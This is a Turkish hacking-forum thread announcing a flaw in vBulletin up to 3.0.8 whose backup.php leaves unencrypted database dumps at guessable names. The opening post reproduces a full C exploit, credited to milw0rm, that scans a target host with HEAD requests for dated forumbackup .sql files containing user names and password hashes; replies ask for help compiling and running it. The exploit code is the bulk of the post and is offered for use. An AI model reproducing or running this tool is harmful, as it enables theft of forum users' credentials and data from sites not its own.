vBulletin 'backup.php' açıgı

ivesa

ivesa

SuskuN Göz
Katılım
11 Kas 2005
Mesajlar
3,157
Reaction score
0
Puanları
36
Konum
istanbul
vBulletin Forum ve Portal scriptinin son sürümü ( 3.0.8 ) de dahil olmak üzere tüm versiyonlarında 'backup.php' yedekleme sisteminden do an bir açık tespit edildi.

'backup.php' scripti veritabanı yede i oluştururken herhangi bir şifre veya encryption sistemi kullanmıyor.E er sistem admini scriptin default klasör yollarını de işmediyse dışardan herhangi bir kullanıcı bu dosya adını tahmin edebilir böylece bilgisayarına indirip o anki tüm kullanıcıların kullanıcı adı , şifre hashleri ve daha birçok bilgisine ulaşabilir.

Exploit

Kod: 
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 80

char *getdate(int b){
static char datestring[40];
time_t ttt;
       int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate2(int b){
       static char datestring[40];
       time_t ttt;
       int minustime;
       minustime=86400 * b;
       ttt=time(NULL)- minustime;
       strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
       printf("Searching: forumbackup-%s.sql\n", datestring);
       return(datestring);
}

char *getdate3(int b){
       static char datestring[40];
       time_t ttt;
       int minustime;
       minustime=86400 * b;
       ttt=time(NULL)- minustime;
       strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
       printf("Searching: forumbackup-%s.sql\n", datestring);
       return(datestring);
}

char *getdate4(int b){
static char datestring[40];
time_t ttt;
       int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate5(int b){
       static char datestring[40];
       time_t ttt;
       int minustime;
       minustime=86400 * b;
       ttt=time(NULL)- minustime;
       strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
       printf("Searching: forumbackup-%s.sql\n", datestring);
       return(datestring);
}

char *getdate6(int b){
       static char datestring[40];
       time_t ttt;
       int minustime;
       minustime=86400 * b;
       ttt=time(NULL)- minustime;
       strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
       printf("Searching: forumbackup-%s.sql\n", datestring);
       return(datestring);
}

char *getdate7(int b){
       static char datestring[40];
       time_t ttt;
       int minustime;
       minustime=86400 * b;
       ttt=time(NULL)- minustime;
       strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
       printf("Searching: forumbackup-%s.sql\n", datestring);
       return(datestring);
}

main(int argc, char *argv[]) {

char buffer[1000],host[255],path[255],dog[255],c;
int sd, rc, i=0, d=0, b;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;

char *http =
        "Accept: */*\r\n"
        "Accept-Language: en-us,en;q=0.5\r\n"
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
        "User-Agent: we want your backups - milw0rm\r\n"
        "Connection: close\r\n\r\n";

if ( argc != 5) {
        printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
        printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
        exit(0);
}


while ((c = getopt (argc, argv, "h:p:")) != EOF)
      switch(c)
      {
              case 'h':
                      strncpy(host,optarg,sizeof(host));
                      break;
              case 'p':
                      strncpy(path,optarg,sizeof(path));
                      break;
      }

h = gethostbyname(host);

if(h==NULL) {
  printf("Unknown Host '%s'\n",host);
  exit(1);
}

printf("Trying To Connect To [%s]\n",host);
while(1){
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {
  perror("Can Not Open The Socket\n");
  exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {
  printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
  perror("error ");
  exit(1);
}

rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

if(rc<0) {
  perror("cannot connect\n");
  exit(1);
}
  memset(buffer,0,sizeof(buffer));

  if ( d == 0 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
  } else if ( d == 1 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
  } else if ( d == 2 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
  } else if ( d == 3 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
  } else if ( d == 4 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
  } else if ( d == 5 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
  } else if ( d == 6 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
  }

  rc = send(sd,buffer, strlen(buffer), 0);
  memset(buffer,0,sizeof(buffer));

while(1)
      {
      rc=recv(sd,buffer,sizeof(buffer),0);
      if(strstr(buffer,"404")) break;
      if(strstr(buffer,"200 OK"))
              {
       if ( d == 0 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
       }
       if ( d == 1 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
       }
       if ( d == 2 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
       }
       if ( d == 3 ) {
       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));
       }
       if ( d == 4 ) {
       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));
       }
       if ( d == 5 ) {
       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));
       }
       if ( d == 6 ) {
       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));
       }
              exit(0);
              }
      memset(buffer,0,sizeof(buffer));
      }
close(sd);

if ( d < 6 ) {
d++;
} else {
d=0;
       i++;
}
}
}
 
arkadaşım ilgilenmiceksen nie konu açıosun ya satır 11,16 ve 20 de hata veriyor bir null la ilgili lütfen ilgilenirmisin madem açık var sende koydun ilgilen o zamanda paylaşmanın anlamı olsun dimi
 
lütfen üsluba dikkat edelim,
bir anormallik varsa düzeltilir zaten...
 
asla yanlış anlaşılmak istemem kabalaşmak istemedim kusura bakmayın ama ilgilenilmio onu anlatmak istedim lütfen bu konuda daha ilgili olalım sizden rica ediyorum
 
Sanırım exploiti kopyalarken bir hata olmush...Ama bu exploiti biryerde duymuşyum çalıştığını...
 
ya hepböle zaten konuyu açıp bidaha ne bakıyolar ne bişey bunlarınki paylaşım değil msg arttırmak.
 
pek işe yaramaz qibi qeLiyor bana 3.5.4 kuLLanıyor artık miLLet yani 3.5.x serisine kesin qeçiş yapıLdı. beLki yabancı siteLeri yakaLarsınız. hatta 3.6.x serisi başLadı sanırım..

SayqıLarımLa..
 
evt sanırım bu perl değil.. belki c'dir, anlayan bir arkadaş el atsın da derleyelim şunu, ben daha yeni yeni kavradım bu işleri, ama bi pl dosyasını da çalıştırabilirim herhalde,, çalışmıyorsa benim günahım nee:(
 
bi aralar çalışıyoduda şimdi yok ;)
 
Cevap yazmak için giriş yap yada kayıt ol.
Geri
Üst